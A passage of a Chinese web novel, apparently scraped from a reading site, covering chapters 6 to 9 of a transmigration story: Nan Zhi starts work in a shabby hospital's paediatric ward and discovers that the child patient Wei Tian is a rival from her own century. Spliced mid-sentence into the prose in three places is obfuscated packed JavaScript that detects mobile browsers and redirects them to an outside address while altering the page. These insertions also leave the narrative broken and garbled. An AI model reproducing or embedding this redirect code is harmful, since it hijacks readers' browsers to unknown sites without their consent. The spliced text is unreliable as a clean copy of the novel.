黄夏兰先一步拉住她的手,“我不是和大姐说了,过来的话提前说一声,我好来接你,怎么突然就来了。” 她刚说完,又有人蹬着自行车赶过来,“已经到了?哎呀,真来晚了,怎么不提前给我打电话!” 黄夏兰道:“不是和你说了,我过来就行?” 黄秋兰放好自行车,“大姐好不容易拜托我办点儿事,我能不过来?” 黄夏兰:“大姐是给我打的电话。” “她是顺手了!小时候我俩关系最好,她是想通过你找我。” “胡说八道,异想天开!” “反正就是找我!” “我!是我!” 南栀:“……” 剧情不太对劲。 她马上就要被妹妹们嫌弃的家庭伦理剧呢? 两人争论不休。 孟闵小声吐槽,“天天吵,幼稚鬼。” 他接着看向南栀,指着她说道:“这么一土老帽,也值得你们争?” 下一秒,亲妈、三姨同时安静。 新一轮的纷争开始了。 * 黄夏兰、黄秋兰姐妹俩先带南栀去国营饭馆吃饭。 吃饭还得用粮票,黄夏兰是电子厂的厂长,黄秋兰学历高,现在是大学教授,两人的生活还算富裕。 俩人轮流给南栀夹菜,“吃个鸡腿,鸡腿肉多。” “他家大厨我认识,排骨炖得好,多吃两块排骨。” 不一会儿南栀的碗里就堆成小山。 孟闵可怜兮兮抬起鼻青脸肿的头,“妈妈,我可以……” 黄夏兰给孟闵夹了一筷子,“吃!” 孟闵:“……” 好漂亮的炒菠菜。 黄夏兰和黄秋兰对南栀的事很上心,她们让她先住在黄夏兰家里,还要帮她去康宁医院找人。 黄夏兰说:“康宁医院……好像没听说过,是临川市的?” 南栀说:“马医生说是临川最好的医院。” “这……” 黄夏兰向黄秋兰求救。 黄秋兰低声道:“别看我啊,我还没到生病的年纪,你年纪大你好好想想。” 黄夏兰:“……” 南栀怕不是被人骗了? 说是医疗队看中了她,但南栀的水平她们是知道的,成绩一般,没能考上高中。 当时她们还想着,南栀是一点儿都没继承黄春兰的聪明。 姐妹俩正思索如何安慰南栀,孟闵说:“什么垃圾鸟医院,听都没听说过,我……” 饭桌上再次掀起风雨。 两分钟后,包上长脸的孟闵说:“康宁……最好的医院,我,我知道,最好!” 南栀纳闷地看着姐妹俩。 康宁医院的事先不说,就说她们的态度,看着可不像是十几年对家里不管不问的,起码都对黄春兰有感情。 南栀想问,又想到张医生提醒她要小心说话,便选了最委婉的措辞,“二姨,三姨,你们为啥一直不回家啊。” 黄秋兰:“……,小栀挺直白哈。” 南栀:情商又进一步! “都是陈年芝麻烂谷子的事,”黄夏兰云淡风轻,“不值一提。” 南栀说:“可总该给我妈打个电话。” 黄夏兰、黄秋兰:“?” 另一场风雨被掀起了。 在听南栀讲过大桑村的事后,二人暴怒拍桌,“开什么玩笑,我们每年都给大姐邮钱!上个月我刚邮过!五百块钱,一分不少!” “我劝大姐一起过来,她不想出来,我就给她打电话,后来村支书说接电话不方便,还说大姐不愿意来听。” 一切都了然。 南栀见过崭新的百元大钞,在黄岩虎手里。 村支书的确拦着不想让她走,也说得通。 原来这俩人早有勾结! 黄夏兰恶狠狠道:“敢私吞我的钱?我现在就回去,把他们的皮扒了!” 黄秋兰说:“下周我有时间,一起去,老四不在临川不方便,她的份我来揍!” 孟闵张嘴,孟闵又闭嘴。 黄夏兰:“?!” 孟闵:“妈,我什么都没说!” 饭桌上的风雨接二连三不断。 包上没脸的孟闵弱弱举起手,“妈,我支持你,妈……” * 当天下午,黄春兰就去帮南栀联系康宁医院。 她向胡同里其他人打听,“咱们市里有康宁医院吗?” 见多识广的出租车司机直摇头。 家里有重病患者的初中老师皱起眉。 就连胡同里出名的“流窜乞丐”姜兴都摆手。 好在一个刚考上护理的学生举起手,“是南江区的康宁医院吗?很偏很乱的那个?” 南栀:“?” * 南江区的康宁医院,在区内小有名气,名气来源于……门诊楼旧、医生少、设备落后。 医院门诊楼到院门只有十余米,侧边停满各式各样的自行车。 马明艳热情地介绍,“我们康宁医院可是出过很多厉害人物的,陆嘉述你知道吗?曾经是援非医疗队的,医疗贡献卓越,退休前已经是首都富雅医院的主任医师,还是首都医科大学的终身教授,就是从我们医院出去的!她孙子现在也在我们医院!” 吹嘘完,马明艳小心地看向南栀,“还不错吧?” 南栀看着墙皮脱落一大半的门诊楼,点头说:“挺好的。” 马明艳:“哎呀,楼是差了点儿,确实不太好,不过……呃,挺好的?” 马明艳抬头看向门诊楼,“哪里挺好的?哪里哪里?” 南栀道:“马医生,我的学历很低,有渠道能考试吗?” 马明艳说:“这件事我来帮你想办法,你先留在医院试着做一个月,其他的事不用多想,不过你现在没有资质,只能做些琐事,可以吗?” 南栀点头,“我能吃苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054686|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “嗐,在咱们医院,说什么吃苦……确实挺苦。”马明艳不忍心撒谎,拉住南栀的手,“坚持住啊!” 南栀被分到康宁医院的住院楼,主要的工作是打杂。 住院楼和门诊楼一样精彩。 不仅墙皮脱落,砖墙上还有细小的裂缝。 但夕阳之下,住院楼肃穆庄严,走廊的玻璃门框涂着绿漆,玻璃上贴着“安静”二字。 康宁医院规模不大,只有一栋住院楼,各个科室分几个病房。 马明艳将南栀带到住院医师的办公室,“这是我提过的南栀,你们科室人少,先用着,多教教她,挺有天赋的。” 马明艳又对南栀说:“留在这里好好学,这里……都是人才!” 南栀看向只有一人的办公室。 高考数学只有九十分的住院医师阮乔指着自己,“我?人才?” 马明艳轻咳,“总之,这是康宁医院最有前途的科室,你暂时留在这里,好好学,学得好了,将来也能做医生!” 阮乔看向乱糟糟的办公桌还有窗台上的花花草草,“哈,最有前途的科室?” 马明艳道:“你就跟着阮乔好好学,不懂的问她就好。” 阮乔:“啥,我能做老师了??” 马明艳逃之夭夭。 南栀扫了一眼住院医师的办公室,对简陋的环境视若无睹,她热情地对阮乔说:“阮老师,我一定跟着你好好学习!” 阮乔挠挠头,“马医生改行当人贩子了??” 从哪里拐了个小可爱回来? 阮乔穿上白大褂,让自己看起来更像“老师”,“走吧,带你认认科室,还有分给我们科室的病床。” “咱们医院前不久出了意外,很缺人,尤其是咱科室,目前只有一个主治医师盛昭云,她现在在门诊坐诊。住院医师也只有我一个,要看着一大帮……唉,还好有你。还有一个能用的护士,特别牛,全院唯一的男护士!韦!宁!雨!是咱们的人。” 阮乔唱了半天戏,一扭头,看见南栀在乖巧地认路。 阮乔道:“我说的话你有没有认真听?” 南栀立刻站好,“阮老师,我都听到了,咱们科室有盛医生、阮医生,还有全院唯一的男!护!士!韦宁雨。” 阮乔:“……” 刚刚看着明明在走神。 “好了好了,这边几间病房就是咱们科室的,现在有几个病人在,你在住院部帮忙,少不得要照顾他们几个,先认人。” 南栀走到病房前,对未来的工作充满期待。 阮乔吸吸鼻子,推开门:“噔噔噔噔,全院最安静的病房,就在我们科。” 门内,一个枕头飞过。 南栀:“……” 两个小男生滚在地上打架。 南栀:“……” 一个小女孩在拉架。 阮乔:“瞧,都是乖巧的孩子。” 小女孩说:“不要打了啦,把我的画笔给我再打!” 南栀:“……” 还有一个小女孩也在拉架,“打得这般没力气,起来重打!” 南栀:“……” 唯独没参与打架事件的小男孩的病床在最里面靠窗的位置。 他穿着拖鞋走过来,路过打架的小男孩,冷漠地将被他们撕扯坏的本子踢走,然后走到暖壶旁倒水。 南栀:“……” 南栀……碎了。 7.第 7 章 南栀在住院部所有碎活拼在一起都凑不出完整的工作。 按照阮乔的吩咐,她要帮忙照顾孩子,要帮忙送化验单和报告,就连打扫的工作都要承担一部分。 第二天,工作正式开始,南栀在住院医师办公室给自己打气——小孩子嘛,还是很可爱的,不能绝望! 阮乔翘着二郎腿喝水,“小栀啊,你就是太傻,竟然跑来学医?学医有什么好的,累得要死要活,一个月也就一百块钱,一百块钱能干嘛?还不如回家种地。” 她瞟向窗台一排花花草草,“瞧,我养的,多好。” 南栀好奇道:“阮医生不喜欢做医生吗?为什么要学医学?” “被逼的呗,”阮乔强调,“我的人生理想就是,种种地、喝喝茶,每天睡醒,肉就往嘴里飞,每天躺在床上,被子就跑到我身上。” 办公室的门被推开,粗犷的男声传来,“我就不一样了,我的人生理想是努力工作,红包拿到手软。” 南栀回头,韦宁雨打着哈欠走进来。 阮乔和韦宁雨都很年轻,而且模样都很俊俏,阮乔刚工作两年,韦宁雨只工作一年。 阮乔问:“拿什么红包?抠门的院长能给你发红包?” “指望院长?当然是病人家属的呀。” “哪个病人家属会给护士塞红包?” 韦宁雨神秘道:“所以我的理想就是做一个可恶的医生,不给红包不治病,靠邪恶发家致富。” 阮乔:“……” 南栀更好奇了,“你怎么做了护士?” 韦宁雨甩甩短发,“我觉得护士更好。” 阮乔毫不留情地拆穿他,“他分低。” 南栀若有所思,“既然是这样,你不用太难过。” 韦宁雨:“?” 南栀说:“技术好的医生能拿到的红包更多,如果技术不好的话,名气也不会特别大,分数和这方面其实是有关系的。” 韦宁雨:“……,谢谢,有被你安慰到。” 南栀绽开笑颜,“不客气的,都是同事嘛。” 韦宁雨:“……” 马医生说给他们找了个人才来帮忙,这到底是哪方面的人才? 阮乔憋着笑。 韦宁雨凑到阮乔旁边,“你怎么又喝汽水?又靠汽水养生?” 阮乔先一步拿走杯子,“别想抢我的。” 韦宁雨低声道:“你说她能干得久吗?” 阮乔看向南栀。 小姑娘脾气挺好的,不管她吩咐什么,南栀都仔细询问细节,然后郑重其事答应。 她相信南栀刚刚的话绝对没有讽刺韦宁雨的意思,那纯粹是肺腑之言。 韦宁雨:更受伤了。 阮乔说:“我觉得她能适应。” “她?拉倒吧,”韦宁雨说,“赌五毛钱的,她肯定被那几个祖宗折腾得坚持不了三天。” 阮乔:“一毛。” “四毛。” “三毛。” “成交。” 南栀看向二人。 阮乔说:“没事没事,刚刚进行了一点儿金钱交易,走,先去查房。” 韦宁雨立刻说:“我也去,我得看热闹。” 儿科住院部有五个大魔头。 农朔,先天性心脏病患者,长期住院。 井珧,经常性感冒发烧,反复住院反复出院,老熟人。 卢思萌,严重哮喘,复发时会住院。 戈玲,经常受伤住院。 再加一个原本乖巧,现在最可怕的卫天,烧伤,出院日期暂定。 最可怕的是,这五人现在都在住院部,而且家长心大,经常不来陪床。 南栀问:“查房没有主治医师吗?” “盛医生今天没时间过来,明天她会带我们去查房,临川市有专门的儿科医院,咱们科不受重视,能运转起来就不错了。” 阮乔都有点儿心疼南栀,什么都不知道,就被马明艳塞进临川市最差的医院,还是最不完善的科室。 偏偏南栀毫无察觉,她道:“做儿科医生容易和家属起冲突,确实很难。” 孩子都是家里的宝,有一点儿不对劲家长就会心疼,医闹概率大大提高。 三人走到病房前。 3楼1号病房,魔王们的温馨家园。 阮乔拽了一下南栀,“你小心……” 被韦宁雨拦住,“打赌!” 南栀看向阮乔,阮乔昧着良心道:“你……先自己感受感受。” 与此同时,病房内的五人也聚在一起。 农朔和井珧都躺在卫天的床上,戈玲被卢思萌拽着没法走,只有卫天在安静地看书。 井珧紧张地盯着门口,“今天会是谁先进来?” 卢思萌道:“会砸伤漂亮姐姐的。” 农朔说:“东西很轻,不会伤到姐姐。” “你说到底会砸到谁?医生姐姐护士哥哥都不太聪明的样子。” “阮乔姐姐吧。” “还是宁雨哥哥更可能。” 农朔和井珧看向卫天,“小天,你说呢?” 卫天头都没抬,“无聊。” 井珧不服气道:“你以前也很喜欢和我们一起玩的!我要告诉你妈妈!你昨天偷阮乔姐姐的书,你现在还在看!” 卫天:“……,昨天新来的。” “哪个?” “看起来最傻的。” 四人同时沉默,然后异口同声,“哦,南栀!” 话音刚落,病房门被推开。 四人紧张地看过去,就连卫天都抬起眼。 门推开,白大褂走进来,放在门顶的洋娃娃极速下落。 五人的心都提了起来。 阮乔和韦宁雨也抬头看着。 幼稚的恶作剧,但管用,他们二人都上过当。 普通人没有心理准备,很难躲过去。 然而南栀仿佛头顶长眼,顺手将洋娃娃接住。 五人失望地摇头。 南栀道:“这种捉弄人的方法太普遍,你们都很聪明,应该不是你们做的。” 五人:“……” 南栀看向阮乔,认真问道:“地球人应该不会这么笨,该不会是来外星人了吧?” 阮乔:“……” 韦宁雨道:“我对你们太失望了!” 南栀拿着洋娃娃走到卢思萌面前,“还给你,不要再被外星人拿走了。” 卢思萌嘴很甜,“谢谢姐姐。” 井珧嘀咕道:“看着明明很傻……” 怎么就被接住了呢! 阮乔走过来,“你手速真快,我还注意到你的手拿东西特别稳,一动不动的,怎么做到的?” 南栀说:“我特意练过的。” “练啥?” 南栀说:“我想做外科医生,手要稳。” 阮乔竖起大拇指,“志向太远了,咱们医院的外科医生都不错,陆随有点儿惨,前段时间医院着火,他现在还在病房里躺着没醒,不过箫珵医生也不错,知道很多我们都不知道的知识点,不会的可以问他。” 阮乔说完,看向五个小朋友,“你们几个,回自己的病床。” 五人无动于衷。 就连最乖巧地卢思萌都低头摆弄洋娃娃。 阮乔头又要炸了。 每天和这五个小恶魔斗智斗勇,她的寿命都要减少了! 她正要发作,就听南栀说:“他们是不是听力不好,再送去检查一遍吧,把家长叫过来商量商量。” 病房内安静一瞬,四个小兔崽子一起飞向自己的床。 阮乔:“……” 往常她说话没这么管用啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059255|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韦宁雨头摇得更快了,“失望,太让人失望!” 三人留在卫天的病床前。 卫天拿着《临床医学》安静看书。 阮乔道:“你小小年纪,看这书干嘛,我知道你有医学天赋,但你能不能不要越级?” 卫天道:“只是随便看看。” 阮乔抢过书,瞟了一眼,嘲笑道:“一点儿笔记都没有,一看就是上课不认真听讲的。” 卫天看着她,“确实。” 韦宁雨碰了碰阮乔的胳膊。 阮乔:“?” 她翻开首页,看到自己的大名。 阮乔:“……” 她要被气昏了。 “这是卫天,”阮乔没好气道,“儿童糖尿病,前几天医院发生火灾,他和陆随医生一起被烧伤了,陆随医生为了保护他伤得比较重,他的情况还好,程度较轻,但头部有伤,已经检查过,没有大碍。” 卫天神态自若。 南栀指着床头柜问:“儿童糖尿病要注意饮食,他的饮食没问题吗?” 床头柜上放着一小碗地果。 阮乔说:“这是家长拿来的,该叮嘱的我们都叮嘱过。” 井珧忽然看过来,“这个傻姐姐也是医生吗?” 南栀说:“我只是来帮忙的。” 卢思萌道:“那就不懂看病啦?” 井珧说:“我们都是乖孩子,盛医生让我们做什么,我们就做什么,你都不会看病,干嘛管我们?” 井珧还在为恶作剧失败而伤心,故意找事。 阮乔看不下去,正要替南栀解释,就听她说:“治疗儿童糖尿病可从三个方面入手。饮食管理上,每天摄入的热量为1000+[年龄*(80~100)],热能分配为蛋白质15%~20%,糖类50%~55%,脂肪30%,三餐热量占比为五分之一、五分之二、五分之二,餐中需要留少量食物做点心。” “其次,胰岛素治疗是控制1型糖尿病患儿血糖的主要手段,根据中华医学会儿科学分会内分泌遗传代谢组学颁布的儿童及青少年糖尿病的胰岛素治疗指南,速效胰岛素类似物、门冬胰岛素、谷赖胰岛素……” 卫天看向南栀,目光沉重。 韦宁雨茫然地眨着眼。 阮乔飞速翻书,“等等,等等,你说的都对,但好像又不太对呢,热量的计算公式对吗?三餐热量占比对吗?怎么不把加餐算进比例里?!” 南栀很淡定,“我说得更准确。” 阮乔:“?” 自称比教科书更准的人出现了。 阮乔:“你说的胰岛素我也没听过!” 韦宁雨激动道:“原来真没有!不是我学习差!” 刚刚他就注意到不对了,因为学习差,都不敢直说! 韦宁雨第一次因为不好好学习而感到憋屈。 南栀刚刚停住,就是意识到这个问题,她学得很多内容现在都还没有。 她改口道:“胰岛素重要有短效、中效、长效三种。剂型分别是正规胰岛素,珠蛋白胰岛素和鱼精蛋白锌胰岛素。” 韦宁雨看向阮乔。 阮乔:“……,对了。” 韦宁雨惊讶道:“马医生说你是从农村来的,而且没上过几年学,你学过儿科?” 南栀实话实说:“只是看过相对应的书。” “看过就能记住?” 南栀点头,“能。” 韦宁雨:“……,真的吗?” 南栀道:“应该都可以吧。” 韦宁雨开始怀疑人生。 阮乔收起震惊,帮南栀树立威信,她看向五个小魔头,“这下你们相信南……” 除了卫天,四个小魔头已经抱着枕头安然入睡。 阮乔:“……” 她就说小孩子很气人!! 8.第 8 章 查完房,南栀开始接手科室所有跑腿的工作。 阮乔请南栀帮忙去拿化验单时很不好意思,“总觉得你的成绩可能比我好,却要你帮我跑腿。” 南栀道:“没关系的,能帮上忙我很开心。” 阮乔神秘地问道:“你偷偷告诉我,就你说的那些到底是跟谁学的?” 南栀是得找一个说辞来解释,刚刚她就差点儿被拆穿。 说辞要可信才行,必须天衣无缝。 南栀想了一会儿,胸有成竹道:“我在老家时不小心跌落悬崖,捡到一本秘籍。” 阮乔:“?” 南栀说:“正好是医学的书,我就认真钻研学习。” 阮乔:“?” 南栀:“……小说里都是这样写的。” 看小说的时候没见有人说扯蛋啊? 南栀担心阮乔不信,正要再解释两句,就听阮乔说:“明白了。” 南栀:“?” 明白什么了? 阮乔说:“你祖上有太医!是他给你留下的书!你祖上是不是获罪了,不方便说?没关系,我不歧视你!绝对不告密!” 南栀想了想,道:“如果你真不喜欢做医生的话,我可以给你推荐个职业。” “啥?” “小说家。” “……” 送化验单回来路过急诊。 南栀记忆力好,几乎能做到过目不忘,理解也快,医学院的教科书只要看两遍就能理解到位。她大一就开始研究医学论文,教授很喜欢她,还把她带到任职的医院。 在急诊能看遍人情冷暖。 此刻急诊门口两个三四十岁的中年男女正对一个老人发脾气。 “妈!我都说了让你小心点儿,你又不听话,非得跑去干活儿,医生说你有心脏病!心脏病!咱家有这么多钱治吗?你和卫天都住院,要不让卫天回家算了!” 听到卫天的名字,南栀多听了几句。 一男一女不住地抱怨,“卫天都病了多久了?好好的急性阑尾炎变成糖尿病,这么小的孩子就得糖尿病,以后怎么办?你赶紧拿主意,还给他治吗?!” 南栀回到阮乔的办公室。 韦宁雨刚去扎完针,跑到阮乔的办公室哭诉,“盛医生非让我去扎,我就不明白了,那么胖的小胖手,血管是一点儿都看不见,为什么非让我去?扎了两针没扎上,他爸妈都要把我吃了!心累,心累,我什么时候能收到红包?!” 阮乔安慰,“等你累死,我给你包个大的。” 韦宁雨顺手把胶布砸向阮乔。 南栀走进来说:“我刚刚去病房看了一眼,其他孩子的家长都来了,卫天还没人照顾。” “他家就那样,”阮乔说,“在儿科都怕家长太上心,但一点儿都不上心的,我也是第一次见。不过……” 她朝南栀勾手指,南栀和韦宁雨都凑过来。 阮乔说:“卫天这小孩,我怀疑他……” 韦宁雨紧张道:“还有其他大病?” 阮乔:“我怀疑他被鬼附身。” 韦宁雨:“……” “你别不信!”阮乔抱着养生汽水,神秘兮兮道,“我跟你们说,别告诉别人。卫天刚来医院,盛医生在忙,实在走不开,我给卫天看的,那天我初步判断他是急性阑尾炎。” 韦宁雨震惊,“竟然有人敢找你看病?!” 阮乔:“……,你还听不听了?” 韦宁雨:“你的医术确实值得信赖。” 阮乔说:“那天还没来得及治疗,也不知道他跑哪儿去了,医院就着火了,后来就主要治疗烧伤嘛。等他醒了以后,你们猜怎么着?” 南栀道:“他被鬼附身了。” 阮乔:“你怎么知道?!” 南栀:“……” 韦宁雨说:“我就知道不该找你看病,你刚刚自己说的!” “哦哦对,”阮乔喝了一口养生汽水,保持神秘的姿态,“这孩子醒了以后,就开始和我分析他的病情。你们没听错,是他分析,说了一大堆,然后给自己诊断为糖尿病1型。” 南栀一怔。 “我当然不信邪了,就把咱们高冷的盛医生叫来,结果你猜怎么着,还真是糖尿病!我的医术连孩子都比不上?怎么可能?他肯定是被哪个医生附身了!他是和陆医生一起出事的,说不准就是陆医生!” 韦宁雨说:“也不见得,你的医术比不上孩子……也不是多让人惊讶的事。” “韦宁雨你是不是想死?!” 两人打闹时,南栀打开门,看向斜对面的1号病房。 火灾、诊断。 这事不对劲。 * 卫天同样无法适应生病的生活。 不久以前,他还是21世纪医科大学研究生简渊,即将读博。 意外的火灾爆炸让他失去知觉,再醒来身体就…… 等等,台词有点儿耳熟。 卫天面无表情地提上裤子,洗手、擦手,走出洗手间,去找阮乔换药。 他被烧伤的部位主要是手臂外侧,其他地方被陆随保护得很好。 卫天找到阮乔,在她对面坐下,主动把胳膊递过去,“换药。” 阮乔:“……” 苍了天,又是可怕的卫天! 如果其他小朋友是小魔鬼,卫天就是大魔头!火灾前他明明还是正常的普通孩子,火灾后就完全变了个人。 不哭不闹,更不说话,还不怕疼,恨不得自己把药全倒在患处。 阮乔是知道这药的威力的,这不是鬼附身都说不过去! 更重要的是,卫天格外嫌弃她的水平,无情地揭露了她混吃混喝的医生日常。 阮乔硬着头皮道:“今天我给你开……” 南栀走过来,“我来就好。” 阮乔像看到救世主,热情地拥抱南栀,“南栀!我愿意把我所有医术都给你,助你一臂之力,早日成为医生!” 韦宁雨说:“然后她发现进展没有丝毫变化。” 阮乔:“滚!” 阮乔麻溜地收拾东西逃命,顺便把韦宁雨踹出办公室,“回你的护士站去!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062662|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南栀关上门,坐到卫天对面。 小男生长得挺俊俏的,就是总爱板着脸,很欠揍的样子。 南栀问:“你是因为糖尿病酮症酸中毒来医院,症状和急性阑尾炎的确有相似之处,需要辨别,听说你给自己诊断出糖尿病?” 卫天观察南栀片刻,认为自己该掌握局势。 可惜他身体小,已经在气势上输掉一大截。 身体不行,就靠动作。 卫天抱臂……臂有点儿疼。 卫天翘起二郎腿……凳子有点儿高。 卫天…… 到底为什么会有这么小的身体?! 南栀认真劝道:“你别卖萌了,我有重要的事和你谈。” 卫天:“……” 啊啊!! 卫天脸色越来越差,“中华医学会制定的儿童胰岛素治疗指南。” 南栀:“?” 卫天没好气道:“2010年颁布的。” 南栀眼中闪过震惊之色,接着激动地拉住卫天的手,“你果然和我一样!” 都是从21世纪过来的! 南栀好像溺水时抓住救命稻草的人,看着卫天的小脸格外亲切。 卫天嘴角抽动,“别高兴得太早。” 然而小正太再怎么冷笑,也显得很可爱。 南栀说:“我真的要和你谈重要的事,不要再卖萌了。” 卫天:“……” 他恨得咬牙切齿,“我猜你不想知道我是谁。” 南栀怔了一下,欣喜的表情褪去,“难道你是……” 卫天:“哼。” 南栀念大学后,才又见到亲哥哥虞清泉。 从前兄妹俩的感情很好,哥哥很照顾她。爸妈不喜欢她,吃的用的总是紧着哥哥来,但哥哥总会把好东西分给她。 与哥哥相认后,南栀的日子好过得多,哥哥也是医生,将来他们能互帮互助。 但就在虞清泉即将研究生毕业时,意外发生,他在学校内无故失踪。 事情闹得很大,警方都来调查,同宿舍的简渊被叫到警察局好几次。 简渊和虞清泉关系恶劣,二人在多方面都有竞争,虞清泉失踪前还有同学目击他们二人吵架。 南栀一直在暗中调查简渊,她会跑到大体标本存放室,也是跟踪简渊过去的,结果没多久就发生意外。 既然她穿了,那简渊很有可能也穿了。 卫天冷笑:“还想找我要你哥?劝你还是担心自己的处境。” 南栀打量他片刻,说:“可是该担心的好像是你。” 卫天:“?,我有什么可担心的?” 南栀起身,手慢慢伸向卫天。 卫天拧眉:“你干嘛?” 南栀揪住卫天的衣领。 卫天:“??” 南栀提着他往走廊走。 卫天:“???” 南栀:“你受伤不方便,姐姐带你去洗手间,我帮你,小男孩而已,不要怕。对了,姐姐还能帮你洗澡。” 卫天:“????” 9.第 9 章 康宁医院待遇一般,食堂也一般。 在食堂吃饭要交粮票,黄夏兰和黄秋兰给了她一些,马明艳也匀给她几张。 食堂是大锅饭,基本都是素材,每天只有一道荤菜。 今天的肉菜是小鸡炖蘑菇。 阮乔夹起一块肉,“瞧瞧这小鸡,长得像蘑菇似的。” 韦宁雨醉心于吃白面馒头,医院食堂的馒头不错,都是精面做的。 “你夹的就是蘑菇。” “怎么会!”阮乔惊恐,疯狂地扒拉饭盒,“肉呢?鸡肉呢?肉在哪!” 韦宁雨看向南栀。 南栀夹着块鸡翅吃得津津有味。 阮乔:“为啥你碗里有一二三四……六块肉!” 韦宁雨酸溜溜道:“食堂阿姨说她看着年纪小,特意多给她盛了一勺,我宣布,她现在就是我最大的敌人。” 阮乔说:“也是我的敌人!” 南栀由夹起一块肉,“好吃诶。” “!” 其他科室的医生也陆陆续续过来吃饭,南栀瞥到几个行色匆匆的人走进来。 每个人拿着两三个饭盒,打完饭后快速离开。 “心外科的,”阮乔见南栀留意,便解释道,“其实咱们医院除了儿科,其他科室都很完善,说是比其他医院差了点儿,但也只是在大医院之间比嘛,咱们的心外科还是不错的。走在最后面的就是萧医生,长得帅吧,开刀技术也好,前几天做了个高难度手术,露了一手。” 南栀只看到箫珵的背影,喃喃道:“不知道第一次做手术是什么感觉。” 话音刚落,长桌被人敲了两下,“阮乔,听说你们科室来新人了。” 南栀认识这两人,都是住院部二楼的,二楼有三个科室的病房,除了儿科,还有新生儿和耳鼻喉科。 耳鼻喉科的住院医师段嘉笑得不怀好意,“你们儿科怎么回事,没读过书的都要,饥不择食?” 新生儿的梁梦说:“是马医生推荐的,肯定有马医生的理由。” “那也是山里来的,没念过几年书,”段嘉凑到南栀面前打量,“美女,你真懂医吗?还是想学医,马医生才给你安排进来,以后边上学边工作?你们儿科可够乱的。” 南栀还没回答,阮乔便拽着段嘉的头发把他拉走,“我们小栀聪明得很,家里有学医的,说不定比你都厉害,回去掏你的耳屎!” “疼!疼!野蛮的女人,你们儿科还有正常人吗?你……” 阮乔笑眯眯道:“再多说一句废话,我回去就戴眼镜。” 嚣张的段嘉瞬间老实,“阮医生,大人不记小人过,饶了我们。祝这位小同志早日当上护士!” “人家要当医生!外科医生!” “这也太扯……” 阮乔做戴眼镜的手势。 段嘉:“一定行!” 段嘉被梁梦拎走。 南栀好奇道:“为什么怕你戴眼镜?” 韦宁雨噗嗤笑出声,“阮乔轻度近视,有一个黑框眼镜,每次戴眼镜,他们两个科就忙得飞起,病人一个接一个,现在他们都求着阮乔别戴眼镜。” 阮乔得意道:“我这是神镜!” * 儿科人少,南栀帮着做了一些护士的工作,包括上夜班。 医院缺人,规矩也没日后多,办事方便很多。 晚上九点,南栀去病房看了一圈,1号病房五个魔头都很安静,魔头们有四个家属陪床留宿,呼噜震天响。 南栀确认好才离开。 关门的瞬间,井珧伸出胖乎乎的小爪,睁开眼睛。 “同志们……” 卢思萌睁开眼。 井珧勾勾手指,卢思萌爬下床走过去。 戈玲和农朔醒了,但没动。 卢思萌又爬到戈玲的床上,“玲玲,过来呀。” 戈玲目光沉闷,看了卢思萌一眼。 卢思萌摇着戈玲的胳膊,“井珧马上就要出院了,过来嘛。” 戈玲这才跟过去。 农朔慢吞吞地掀开被子,“其实小栀姐姐挺好的,只有她愿意理我。” “那不行!”井珧说,“小栀姐姐说我手胖,不好打针,我哪里胖啦。” 农朔:“……” 井珧伸出爪子,“我明明是强壮!” 卢思萌啪啪鼓掌。 井珧说:“卫天主意多,把他叫过来。” 卢思萌又爬到卫天床上,“卫天、卫天……他睡着了。” “算了算了,靠不上,来,还是咱四个商量。” 四个人凑在一起嘀嘀咕咕,誓要打一场胜仗。 “咱们之前做的都太小儿科,咱们已经是大孩子了,不是小孩子,必须想出好办法,咱们……” 睡梦中的卫天忽然被气醒,“谁要你帮我洗澡!” 四人:“?” * 阮乔排夜班的次数也多,今天她和南栀都得留下,南栀没有休息的地方,就和阮乔挤在一起。 阮乔开着台灯整理病例。 南栀凑过来一起看。 “明天我们盛大医生要来查房,在招进来新的医生前,盛大医生是唯一的支柱,一定不能让她生气。你也要小心,她可凶了。” 两人正说着话,有人敲门走进来。 阮乔起身,“是卫天的家属吧?怎么这个时间过来了?” 共有三人,一对年轻的男女,还有一个老人,是卫天的姥姥,南栀下意识看向她。 老人脸色不太好。 卫宇脸上挂着笑,“我妈身体不太舒服,今天带她去看病了,才有时间,我们回去商量了一下,已经有结果了。就是……想问问明天能不能给小天办出院手续。” 阮乔一怔,“他还在恢复阶段,虽然情况稳定,但还需要再观察。” “他的烧伤不是没多严重吗,我们就想着回家住更舒服。” 南栀拧眉。 阮乔解释道:“卫天的烧伤的确不严重,但他是1型糖尿病,发生火灾前他是因为酮症酸中毒进来的,幸好情况能控制,但真的还要再观察。而且1型糖尿病会伴随他一生,我上次和你们说来学打胰岛素,你们一直没过来。” 